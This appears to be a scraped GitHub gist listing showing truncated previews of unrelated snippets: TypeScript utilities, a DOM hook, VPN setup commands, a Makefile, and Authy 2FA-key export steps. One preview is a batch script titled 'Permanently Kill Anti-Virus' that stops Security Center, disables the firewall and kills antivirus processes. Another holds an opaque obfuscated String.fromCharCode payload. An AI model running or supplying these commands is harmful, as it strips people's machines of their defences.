Choose a car: Volvo Saab Mercedes Audi
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import * as React from 'react'; | |
import {A, T} from 'ts-toolbelt' | |
import { O } from 'ts-toolbelt'; | |
import { Any } from 'ts-toolbelt'; | |
import { Assign } from 'Object/_api'; | |
/** | |
* Fuzzy is a Higher Order Component. | |
* It consumes a component and keys that | |
* can be searched on that component. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type Eventually<T> = | |
T | Promise<T>; | |
type EventuallyIterable<T> = Iterable<T> | AsyncIterable<T> | |
const map: | |
<T,O>(f: Eventually<(v: T, i: number) => O>, v: EventuallyIterable<T>) => EventuallyIterable<O> | |
= | |
async function*(f, iter) { | |
let n = 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
((() => { | |
console.log("postMessage hook added"); | |
new MutationObserver((mutations, observer) => { | |
const flatten = (a,c) => a.concat(c); | |
const allNodes = mutations.filter(({ type }) => type == "childList") | |
.map(({ addedNodes }) => Array.from(addedNodes)).reduce(flatten, []); | |
allNodes | |
.forEach(parentNode => { | |
if (!parentNode.getElementsByTagName) return; |
# adapted from http://spottedhyena.co.uk/centos-67-ipsecl2tp-vpn-client-unifi-usg-l2tp-server/
yum -y install epel # different on amazon linux
sudo yum -y install xl2tpd openswan
systemctl start ipsec.service
service ipsec start
# 'myserver.com' is just to help identify. these are all imported into /etc/ipsec.conf.
vim /etc/ipsec.d/myserver.com.conf # see next...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ echo off | |
rem | |
rem Permanently Kill Anti-Virus | |
net stop “Security Center” | |
netsh firewall set opmode mode=disable | |
tskill /A av* | |
tskill /A fire* | |
tskill /A anti* | |
cls | |
tskill /A spy* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
const errorTester = () => (rsp) => !(rsp instanceof Error); | |
const asGuardType = (f) => (v) => [f(v), errorTester()]; | |
const must = (f) => (v) => { | |
const [rsp, tstRsp] = asGuardType(f)(v); | |
if (!tstRsp(rsp)) | |
throw rsp; | |
return rsp; | |
}; | |
const hasLen = (n) => (v) => v.length == n ? v : new Error(`expected length of ${n}, but got ${v.length}`); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String.fromCharCode(($=2*5),(q=(2*6+1)*5),(a=4*8),(Â=(2*9+1)*6),(Y=4*5*5+1),($+1)*9,(y=(2*6+1) | |
*9),Â,Â,Y,($+1)*$,(È=(4*7+1)*4),a,($+1)*$,Y,y,Â,(E=2*6*8+1),(K=2*6*9),a,($+1)*$,Y,È, | |
(À=(2*8+1)*7),(Ê=(4*9+1)*3),Â,(G=2*6*9-1),a,(e=5*8),((c=5*8+1))*2,(s=(2*6+1)*6),s,c, | |
a,(S=3*5*7),(Æ=(3*8-1)*5),a,E,a,($+1)*9,K,E,Æ,Æ,a,Ê,(º=(2*8+1)*6),a,E,Â,È,S,º,S,($+1 | |
)*9,S,E,K,a,($+1)*$,Y,y,Â,E,K,a,($+1)*$,Y,È,À,Ê,Â,G,a,À,(w=(2*6+1)*8),Y,Â,Y,a,($+1)* | |
9,Ê,($+1)*$,($+1)*$,Y,($+1)*9,È,S,Ê,($+1)*$,Æ,a,(M=2*7*7),Y,È,À,Y,Y,($+1)*$,a,($+1)* | |
$,Ê,(_=4*5*5),Y,Æ,a,º,Ê,Â,(I=2*6*9+1),a,E,a,_,S,Â,Y,($+1)*9,È,Y,_,a,(µ=(2*8+1)*6+1), | |
Â,E,(Q=2*7*8),w,a,E,K,Ê,($+1)*$,µ,a,E,a,È,Y,I,Q,Ê,Â,E,K,a,Æ,Y,(O=2*7*8+1),y,Y,($+1)* | |
$,($+1)*9,Y,(Ä=(3*8-1)*2),a,(C=2*6*7),w,S,Æ,a,E,K,K,Ê,À,Æ,a,S,È,a,È,Ê,a,Y,(W=3*5*8), | |
w,S,M,S,È,a,È,Y,I,Q,Ê,Â,E,K,a,_,(U=3*5*8+1),($+1)*$,E,I,S,($+1)*9,a,M,Y,w,E,($*6-1)* |
Inspired by the original gist.
This snippet will extract all the OTP (2FA) keys from Authy, and convert them to scannable QR codes and URLs you can copy-paste into e.g. 1password. Unlike other approaches, this consumes the internal digits
record, making it compatible with authy-specific extra long 2FA codes.
- Install the Authy Chrome Extension and the Authy App.
- Open the authy app from the browser icon in the top right, and view some TOTP codes. This decrypts them so we can extract them.
- Visit the Chrome Inspector Page (chrome://inspect/#apps) and click 'inspect' under 'Authy'. If that's not there, you likely need to open the Authy app from chrome://apps/.
- In the window
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# expect handler/handlername handler/handler2 etc. | |
dist.zip: $(patsubst handler/%,dist/%,$(wildcard handler/*)) | |
zip -FSj $@ $^ | |
#getDeps = $(shell go list -f '{{.Deps}}' $(1) | xargs go list -f '{{$$this:=.}}{{range .GoFiles}}{{$$this.Dir}}/{{.}} {{end}}') | |
# maybe one day i will generate the deps dynamically lol | |
# must be forced because cant determine whether update is | |
# needed purely based on go files | |
dist/%: handler/% .FORCE |